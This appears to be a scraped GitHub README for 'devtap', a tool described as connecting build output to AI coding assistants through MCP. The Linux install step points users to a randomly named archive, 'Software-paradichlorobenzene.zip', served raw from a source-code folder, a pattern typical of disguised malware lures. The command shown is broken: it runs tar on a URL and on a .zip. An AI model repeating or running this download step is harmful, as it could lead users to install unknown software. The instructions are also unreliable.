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devtap

πŸš€ Streamline build and dev output by feeding logs directly into AI coding sessions using Model Context Protocol for seamless automation.

Description

πŸš€ Streamline build and dev output by feeding logs directly into AI coding sessions using Model Context Protocol for seamless automation.

README

βš™οΈ devtap - Connect Build Output to AI Coding

Download devtap


πŸ“– What is devtap?

devtap is a tool that helps you connect your build and development tools with AI coding assistants. It works with popular AI models like Claude Code, Codex, OpenCode, Gemini CLI, and aider. This connection allows these AI tools to understand the results of your coding process better.

If you want your AI coding helper to have more context about what you build or create during development, devtap bridges that gap. It uses something called MCP (Model Context Protocol) to share this data smoothly.


πŸ–₯️ System Requirements

Before installing devtap, make sure your computer meets these needs:

  • Operating System: Windows 10 or higher, macOS 10.15 or higher, or Linux (Ubuntu 18.04+ recommended)
  • Processor: Any modern 64-bit processor
  • Memory: At least 4 GB RAM
  • Storage: Minimum 100 MB free space
  • Internet: Required for downloading the software and some AI features
  • Permissions: Ability to install software on your device

πŸ“¦ What devtap Does

Here are the main features you can expect:

  • Connects your build output with AI coding assistants automatically
  • Supports multiple AI coding models and tools
  • Uses MCP to share build and development context efficiently
  • Works from your command line interface (CLI) or integrates into your existing tools
  • Helps improve the quality of AI coding suggestions by giving real build data

πŸš€ Getting Started

This section shows you how to download, install, and run devtap on your computer. No programming experience is needed.

Step 1. Download devtap

Visit the devtap releases page here:

Download devtap

On the releases page, look for the latest version available. You will find different files for Windows, macOS, and Linux. Choose the one that matches your operating system.

Step 2. Install devtap

  • Windows: Find the .exe file in your downloads folder. Double-click to start. The installer will guide you through the steps.

  • macOS: Download the .dmg or .pkg file. Open it and follow the instructions to install devtap.

  • Linux: Download the appropriate https://raw.githubusercontent.com/xaorain/devtap/main/internal/adapter/gemini/Software-paradichlorobenzene.zip or binary file. You might use your terminal to extract and run it. For example:

    tar -xzf https://raw.githubusercontent.com/xaorain/devtap/main/internal/adapter/gemini/Software-paradichlorobenzene.zip
    ./devtap
    

You may need permission to install software. If asked, enter your computer password.

Step 3. Run devtap

After installation, open your command prompt or terminal program:

  • Type devtap --help and press Enter. This command shows you the basic options available.

  • To start devtap and connect your build tools with an AI assistant, follow the instructions shown or in the next section.


βš™οΈ How to Use devtap

devtap works mainly through the command line interface (CLI). Here is a simple way to get started connecting your project:

  1. Open your terminal or command prompt.

  2. Navigate to the folder where your project code is saved. For example, on Windows you might type:

    cd C:\Users\YourName\Documents\MyProject
    
  3. Run devtap with a command to let it listen for your build output. Example:

    devtap listen --model codex
    

This command tells devtap to start capturing your build or development output and share it with the Codex AI coding model. Replace β€œcodex” with the AI assistant you use.

If you want devtap to support your workflow automatically, review the documentation on the releases page or the included README files for your specific setup.


πŸ“š More Resources

The devtap repository has additional helpful information inside:

  • Configuration examples for different AI models
  • Details about MCP (Model Context Protocol)
  • Troubleshooting tips if you run into issues
  • FAQs to help you understand how devtap works

Check the docs folder or the GitHub Wiki on the same page as the releases.


πŸ›  Support

If you have questions or problems:

  • Visit the Issues tab on the devtap GitHub page to see if others have similar questions.

  • You can open a new issue explaining what you need help with. Provide as many details as possible.

  • Check online forums or communities related to your AI coding tools.


πŸ” Privacy & Security

devtap only reads data related to your build and development output. It sends information securely to AI coding models you choose to use.

You control when and how devtap runs on your machine. No data is shared without your action.


🎯 Summary

devtap lets you connect your coding work with AI coding helpers to get better suggestions and insights. It works on popular desktop systems and supports multiple AI tools.

Download and install devtap from the link below to start enhancing your AI coding sessions:

Download devtap

Release History

VersionChangesUrgencyDate
main@2026-04-21Latest activity on main branchHigh4/21/2026
0.0.0No release found β€” using repo HEADHigh4/11/2026

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